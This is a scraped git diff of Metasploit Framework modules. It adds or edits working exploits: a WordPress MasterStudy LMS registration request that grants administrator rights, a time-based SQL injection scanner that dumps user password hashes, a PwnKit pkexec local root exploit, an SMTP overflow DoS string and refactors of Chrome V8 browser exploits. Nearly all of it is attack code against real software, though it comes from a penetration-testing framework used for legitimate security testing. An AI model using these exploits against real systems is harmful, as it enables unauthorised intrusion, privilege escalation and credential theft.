||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2022-0441'],
|
||||
['URL', 'https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6'],
|
||||
['EDB', '50752'],
|
||||
['WPVDB', '173c2efe-ee9c-4539-852f-c242b4f728ed']
|
||||
],
|
||||
'DisclosureDate' => '2022-02-18',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [false, 'Username to register (blank will auto generate)', '']),
|
||||
OptString.new('PASSWORD', [false, 'Password (blank will auto generate)', '']),
|
||||
OptString.new('EMAIL', [false, 'Email to register (blank will auto generate)', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
unless wordpress_and_online?
|
||||
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
|
||||
end
|
||||
|
||||
checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6')
|
||||
if checkcode == Msf::Exploit::CheckCode::Safe
|
||||
return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable')
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def get_username
|
||||
datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']
|
||||
end
|
||||
|
||||
def get_password
|
||||
datastore['PASSWORD'].blank? ? Rex::Text.rand_password : datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def get_email
|
||||
datastore['EMAIL'].blank? ? Faker::Internet.email : datastore['EMAIL']
|
||||
end
|
||||
|
||||
def run
|
||||
username = get_username
|
||||
password = get_password
|
||||
email = get_email
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
|
||||
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200
|
||||
/"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?
|
||||
|
||||
print_status("Attempting with username: #{username} password: #{password} email: #{email}")
|
||||
json_post_data = JSON.pretty_generate({
|
||||
'user_login' => username,
|
||||
'user_email' => email,
|
||||
'user_password' => password,
|
||||
'user_password_re' => password,
|
||||
'become_instructor' => '',
|
||||
'privacy_policy' => true,
|
||||
'degree' => '',
|
||||
'expertize' => '',
|
||||
'auditory' => '',
|
||||
'additional' => [],
|
||||
'additional_instructors' => [],
|
||||
'profile_default_fields_for_register' => {
|
||||
'wp_capabilities' => {
|
||||
'value' => { 'administrator' => 1 }
|
||||
}
|
||||
}
|
||||
})
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
||||
'ctype' => 'application/json',
|
||||
'vars_get' => {
|
||||
'action' => 'stm_lms_register',
|
||||
'nonce' => nonce
|
||||
},
|
||||
'data' => json_post_data
|
||||
)
|
||||
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
|
||||
results = res.get_json_document
|
||||
if results['status'] == 'success'
|
||||
print_good('Account Created Successfully')
|
||||
create_credential({
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: username,
|
||||
private_type: :password,
|
||||
private_data: password,
|
||||
service_name: 'Wordpress',
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
})
|
||||
else
|
||||
print_error("Account Creation Failed: #{results['message']}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28
|
||||
|
||||
raw_send_recv("EHLO X\r\n")
|
||||
raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
smtp_send_recv("EHLO X\r\n")
|
||||
smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
print_status("Sending DoS packet.")
|
||||
raw_send_recv("RCPT TO: #{sploit}\r\n")
|
||||
smtp_send_recv("RCPT TO: #{sploit}\r\n")
|
||||
|
||||
disconnect
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
|
||||
@@ -41,7 +41,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]),
|
||||
OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*'])
|
||||
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
# overwriting the default user-agent. Shodan is checking it and delivering a html response when using the default ua (see #16189 and #16223)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', 'Wget/1.21.2 (linux-gnu)' ])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_http_client_options
|
||||
end
|
||||
|
||||
@@ -0,0 +1,107 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::SQLi
|
||||
require 'metasploit/framework/hashes/identify'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Modern Events Calendar SQLi Scanner',
|
||||
'Description' => %q{
|
||||
Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in
|
||||
versions before 6.1.5. The time parameter is vulnerable to injection.
|
||||
},
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Hacker5preme (Ron Jost)', # edb
|
||||
'red0xff' # sqli lib assistance
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'EDB', '50687' ],
|
||||
[ 'CVE', '2021-24946' ],
|
||||
[ 'URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md' ],
|
||||
[ 'WPVDB', '09871847-1d6a-4dfe-8a8c-f2f53ff87445' ]
|
||||
],
|
||||
'Actions' => [
|
||||
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'DefaultAction' => 'List Users',
|
||||
'DisclosureDate' => '2021-12-13'
|
||||
)
|
||||
)
|
||||
register_options [
|
||||
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])
|
||||
]
|
||||
end
|
||||
|
||||
def check_host(_ip)
|
||||
unless wordpress_and_online?
|
||||
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
|
||||
end
|
||||
|
||||
checkcode = check_plugin_version_from_readme('modern-events-calendar-lite', '6.1.5')
|
||||
if checkcode == Msf::Exploit::CheckCode::Safe
|
||||
return Msf::Exploit::CheckCode::Safe('Modern Events Calendar version not vulnerable')
|
||||
end
|
||||
|
||||
print_good('Vulnerable version of Modern Events Calendar detected')
|
||||
checkcode
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer.
|
||||
d = Rex::Text.rand_text_numeric(4)
|
||||
# the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it.
|
||||
payload = payload.gsub(/sleep\(\d+\.\d+\)/i, "sleep(#{datastore['SQLIDELAY'] / 2})")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
||||
'vars_get' => {
|
||||
'action' => 'mec_load_single_page',
|
||||
# taken from sqlmap
|
||||
'time' => "#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}"
|
||||
}
|
||||
})
|
||||
fail_with Failure::Unreachable, 'Connection failed' unless res
|
||||
end
|
||||
unless @sqli.test_vulnerable
|
||||
fail_with Failure::PayloadFailed, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay."
|
||||
end
|
||||
|
||||
columns = ['user_login', 'user_pass']
|
||||
results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
|
||||
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
|
||||
results.each do |user|
|
||||
create_credential({
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: user[0],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: identify_hash(user[1]),
|
||||
private_data: user[1],
|
||||
service_name: 'Wordpress',
|
||||
address: ip,
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
})
|
||||
table << user
|
||||
end
|
||||
print_good(table.to_s)
|
||||
end
|
||||
end
|
||||
@@ -49,19 +49,21 @@ class MetasploitModule < Msf::Auxiliary
|
||||
]
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def check_host(_ip)
|
||||
unless wordpress_and_online?
|
||||
vprint_error('Server not online or not detected as wordpress')
|
||||
return
|
||||
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
|
||||
end
|
||||
|
||||
checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6')
|
||||
if checkcode == Msf::Exploit::CheckCode::Safe
|
||||
vprint_error('RegistrationMagic version not vulnerable')
|
||||
return
|
||||
return Msf::Exploit::CheckCode::Safe('RegistrationMagic version not vulnerable')
|
||||
end
|
||||
print_good('Vulnerable version of RegistrationMagic detected')
|
||||
|
||||
print_good('Vulnerable version of RegistrationMagic detected')
|
||||
checkcode
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
|
||||
fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil?
|
||||
|
||||
@@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
begin
|
||||
connect
|
||||
|
||||
res = raw_send_recv("EHLO X\r\n")
|
||||
res = smtp_send_recv("EHLO X\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("#{mailfrom}\r\n")
|
||||
res = smtp_send_recv("#{mailfrom}\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("#{mailto}\r\n")
|
||||
res = smtp_send_recv("#{mailto}\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("DATA\r\n")
|
||||
res = smtp_send_recv("DATA\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
|
||||
res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
|
||||
vprint_status("#{res.inspect}")
|
||||
|
||||
if res =~ /250/
|
||||
|
||||
@@ -0,0 +1,254 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Local Privilege Escalation in polkits pkexec',
|
||||
'Description' => %q{
|
||||
A bug exists in the polkit pkexec binary in how it processes arguments. If
|
||||
the binary is provided with no arguments, it will continue to process environment
|
||||
variables as argument variables, but without any security checking.
|
||||
By using the execve call we can specify a null argument list and populate the
|
||||
proper environment variables. This exploit is architecture independent.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Qualys Security', # Original vulnerability discovery
|
||||
'Andris Raugulis', # Exploit writeup and PoC
|
||||
'Dhiraj Mishra', # Metasploit Module
|
||||
'bwatters-r7' # Metasploit Module
|
||||
],
|
||||
'DisclosureDate' => '2022-01-25',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[
|
||||
'x86_64',
|
||||
{
|
||||
'Arch' => [ ARCH_X64 ]
|
||||
}
|
||||
],
|
||||
[
|
||||
'x86',
|
||||
{
|
||||
'Arch' => [ ARCH_X86 ]
|
||||
}
|
||||
],
|
||||
[
|
||||
'aarch64',
|
||||
{
|
||||
'Arch' => [ ARCH_AARCH64 ]
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PrependSetgid' => true,
|
||||
'PrependSetuid' => true
|
||||
},
|
||||
'Privileged' => true,
|
||||
'References' => [
|
||||
[ 'CVE', '2021-4034' ],
|
||||
[ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ],
|
||||
[ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ],
|
||||
[ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference
|
||||
[ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions
|
||||
[ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ])
|
||||
])
|
||||
register_advanced_options([
|
||||
OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]),
|
||||
])
|
||||
end
|
||||
|
||||
def on_new_session(new_session)
|
||||
# The directory the payload launches in gets deleted and breaks some commands
|
||||
# unless we change into a directory that exists
|
||||
super
|
||||
old_session = @session
|
||||
@session = new_session
|
||||
cd(datastore['FinalDir'])
|
||||
@session = old_session
|
||||
end
|
||||
|
||||
def find_pkexec
|
||||
vprint_status('Locating pkexec...')
|
||||
if exists?(pkexec = cmd_exec('which pkexec'))
|
||||
vprint_status("Found pkexec here: #{pkexec}")
|
||||
return pkexec
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def check
|
||||
# Is the arch supported?
|
||||
arch = kernel_hardware
|
||||
unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86')
|
||||
return CheckCode::Safe("System architecture #{arch} is not supported")
|
||||
end
|
||||
|
||||
# check the binary
|
||||
pkexec_path = datastore['PKEXEC_PATH']
|
||||
pkexec_path = find_pkexec if pkexec_path.empty?
|
||||
return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil?
|
||||
|
||||
# we don't use the reported version, but it can help with troubleshooting
|
||||
version_output = cmd_exec("#{pkexec_path} --version")
|
||||
version_array = version_output.split(' ')
|
||||
if version_array.length > 2
|
||||
pkexec_version = Rex::Version.new(version_array[2])
|
||||
vprint_status("Found pkexec version #{pkexec_version}")
|
||||
end
|
||||
|
||||
return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path)
|
||||
|
||||
# Grab the package version if we can to help troubleshoot
|
||||
sysinfo = get_sysinfo
|
||||
begin
|
||||
if sysinfo[:distro] =~ /[dD]ebian/
|
||||
vprint_status('Determined host os is Debian')
|
||||
package_data = cmd_exec('dpkg -s policykit-1')
|
||||
pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
|
||||
vprint_status("Polkit package version = #{pulled_version}")
|
||||
end
|
||||
if sysinfo[:distro] =~ /[uU]buntu/
|
||||
vprint_status('Determined host os is Ubuntu')
|
||||
package_data = cmd_exec('dpkg -s policykit-1')
|
||||
pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
|
||||
vprint_status("Polkit package version = #{pulled_version}")
|
||||
end
|
||||
if sysinfo[:distro] =~ /[cC]entos/
|
||||
vprint_status('Determined host os is CentOS')
|
||||
package_data = cmd_exec('rpm -qa | grep polkit')
|
||||
vprint_status("Polkit package version = #{package_data}")
|
||||
end
|
||||
rescue StandardError => e
|
||||
vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.")
|
||||
end
|
||||
|
||||
if sysinfo[:distro] =~ /[fF]edora/
|
||||
# Fedora should be supported, and it passes the check otherwise, but it just
|
||||
# does not seem to work. I am not sure why. I have tried with SeLinux disabled.
|
||||
return CheckCode::Safe('Fedora is not supported')
|
||||
end
|
||||
|
||||
# run the exploit in check mode if everything looks right
|
||||
if run_exploit(true)
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return CheckCode::Safe('The target does not appear vulnerable')
|
||||
end
|
||||
|
||||
def find_exec_program
|
||||
return 'python' if command_exists?('python')
|
||||
return 'python3' if command_exists?('python3')
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def run_exploit(check)
|
||||
if is_root? && !datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
|
||||
arch = kernel_hardware
|
||||
vprint_status("Detected architecture: #{arch}")
|
||||
if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
|
||||
fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
|
||||
end
|
||||
|
||||
pkexec_path = datastore['PKEXEC_PATH']
|
||||
if pkexec_path.empty?
|
||||
pkexec_path = find_pkexec
|
||||
end
|
||||
|
||||
python_binary = find_exec_program
|
||||
|
||||
# Do we have the pkexec binary?
|
||||
if pkexec_path.nil?
|
||||
fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath'
|
||||
end
|
||||
|
||||
# Do we have the python binary?
|
||||
if python_binary.nil?
|
||||
fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath'
|
||||
end
|
||||
|
||||
unless writable? datastore['WRITABLE_DIR']
|
||||
fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable"
|
||||
end
|
||||
|
||||
local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
||||
working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}"
|
||||
mkdir(working_dir)
|
||||
register_dir_for_cleanup(working_dir)
|
||||
|
||||
random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s
|
||||
random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s
|
||||
@old_wd = pwd
|
||||
cd(working_dir)
|
||||
cmd_exec('mkdir -p GCONV_PATH=.')
|
||||
cmd_exec("touch GCONV_PATH=./#{random_string_1}")
|
||||
cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}")
|
||||
cmd_exec("mkdir -p #{random_string_1}")
|
||||
|
||||
payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so"
|
||||
unless check
|
||||
upload_and_chmodx(payload_file.to_s, generate_payload_dll)
|
||||
register_file_for_cleanup(payload_file)
|
||||
end
|
||||
|
||||
exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
||||
|
||||
write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py'))
|
||||
register_file_for_cleanup(exploit_file)
|
||||
|
||||
cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}"
|
||||
print_warning("Verify cleanup of #{working_dir}")
|
||||
vprint_status("Running #{cmd}")
|
||||
output = cmd_exec(cmd)
|
||||
|
||||
# Return to the old working directory before we delete working_directory
|
||||
cd(@old_wd)
|
||||
cmd_exec("rm -rf #{working_dir}")
|
||||
vprint_status(output) unless output.empty?
|
||||
# Return proper value if we are using exploit-as-a-check
|
||||
if check
|
||||
return false if output.include?('pkexec --version')
|
||||
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
run_exploit(false)
|
||||
end
|
||||
end
|
||||
@@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
ehlo = datastore['EHLO']
|
||||
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp.each_line do |line|
|
||||
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
|
||||
end
|
||||
@@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
from << "@#{ehlo}"
|
||||
to = datastore['MAILTO']
|
||||
|
||||
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "MAIL: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
@@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
||||
resp = raw_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "RCPT: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
@@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status("#{rhost}:#{rport} - #{msg}")
|
||||
end
|
||||
|
||||
resp = raw_send_recv("DATA\r\n")
|
||||
resp = smtp_send_recv("DATA\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "DATA: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '354'
|
||||
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
message << "\r\n"
|
||||
message << ".\r\n"
|
||||
|
||||
resp = raw_send_recv(message)
|
||||
resp = smtp_send_recv(message)
|
||||
msg = "DELIVER: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpServer::BrowserExploit
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -35,6 +35,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
|
||||
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Stability' => [CRASH_SAFE]
|
||||
},
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => ['windows', 'osx'],
|
||||
'DefaultTarget' => 0,
|
||||
@@ -42,18 +47,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'DisclosureDate' => '2019-03-07'
|
||||
)
|
||||
)
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
|
||||
])
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||
print_status("[*] #{request.body}")
|
||||
send_response(cli, '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||
escaped_payload = Rex::Text.to_unescape(payload.encoded)
|
||||
jscript = %^
|
||||
@@ -259,20 +255,7 @@ function exploit() {
|
||||
exploit();
|
||||
^
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
debugjs = %^
|
||||
print = function(arg) {
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/print", false);
|
||||
request.send("" + arg);
|
||||
};
|
||||
^
|
||||
jscript = "#{debugjs}#{jscript}"
|
||||
else
|
||||
jscript.gsub!(%r{//.*$}, '') # strip comments
|
||||
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||
end
|
||||
|
||||
jscript = add_debug_print_js(jscript)
|
||||
html = %(
|
||||
<html>
|
||||
<head>
|
||||
|
||||
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpServer::BrowserExploit
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
@@ -38,24 +38,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Stability' => [CRASH_SAFE]
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
|
||||
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
|
||||
],
|
||||
'DisclosureDate' => '2020-02-19'))
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
|
||||
])
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||
print_status("[*] #{request.body}")
|
||||
send_response(cli, '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||
escaped_payload = Rex::Text.to_unescape(payload.raw)
|
||||
jscript = %Q^
|
||||
@@ -351,20 +347,7 @@ function exp() {
|
||||
exp();
|
||||
^
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
debugjs = %Q^
|
||||
print = function(arg) {
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/print", false);
|
||||
request.send("" + arg);
|
||||
};
|
||||
^
|
||||
jscript = "#{debugjs}#{jscript}"
|
||||
else
|
||||
jscript.gsub!(/\/\/.*$/, '') # strip comments
|
||||
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||
end
|
||||
|
||||
jscript = add_debug_print_js(jscript)
|
||||
html = %Q^
|
||||
<html>
|
||||
<head>
|
||||
|
||||
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpServer::BrowserExploit
|
||||
include Msf::Payload::Windows::AddrLoader_x64
|
||||
include Msf::Payload::Windows::ReflectiveDllInject_x64
|
||||
|
||||
@@ -47,6 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => ['windows', 'osx', 'linux'],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Stability' => [CRASH_SAFE]
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'No sandbox escape (--no-sandbox)', {}
|
||||
@@ -63,9 +68,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'DisclosureDate' => '2018-09-25'
|
||||
)
|
||||
)
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
|
||||
])
|
||||
deregister_options('DLL')
|
||||
end
|
||||
|
||||
@@ -74,12 +76,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||
print_status("[*] #{request.body}")
|
||||
send_response(cli, '')
|
||||
return
|
||||
end
|
||||
|
||||
